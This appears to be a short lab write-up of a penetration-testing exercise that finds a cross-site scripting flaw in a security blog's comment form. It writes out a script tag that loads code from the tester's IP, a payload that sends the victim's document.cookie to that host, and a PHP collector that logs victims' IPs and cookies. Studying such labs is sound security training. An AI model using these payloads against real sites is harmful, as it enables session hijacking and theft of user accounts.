We are performing a Web Application Penetration Testing task for a company that hired you, which just released their new Security Blog. In our Web Application Penetration Testing plan, we reached the part where you must test the web application against Cross-Site Scripting vulnerabilities (XSS).

Start the server below, make sure you are connected to the VPN, and access the /assessment directory on the server using the browser:

how to enable shortcut keys in windows 11 for screenshot - Google Search - Google Chrome 5_2_2025 5_14_42 PM.png

Initially we couldnt find a related field input that we can exploit using the payload, however when i clicked into the security blog link, it redirected me to this page

how to enable shortcut keys in windows 11 for screenshot - Google Search - Google Chrome 5_2_2025 5_16_37 PM.png

The page has a “Leave a Comment” column, which has potentially a xss script vulnerability

we tried using this payload on each field, and listen to the burpsuite

<script src=”http://10.10.14.109/Comment”></script>

how to enable shortcut keys in windows 11 for screenshot - Google Search - Google Chrome 5_2_2025 5_36_41 PM.png

HTB Viewer - Google Chrome 5_2_2025 5_40_12 PM.png

Something interesting that we could try to deploy the cookie payload into field

Script.js=

document.location='http://10.10.14.109/index.php?c='+document.cookie;

Add also index.php for the cookie keylogger

<?phpif (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>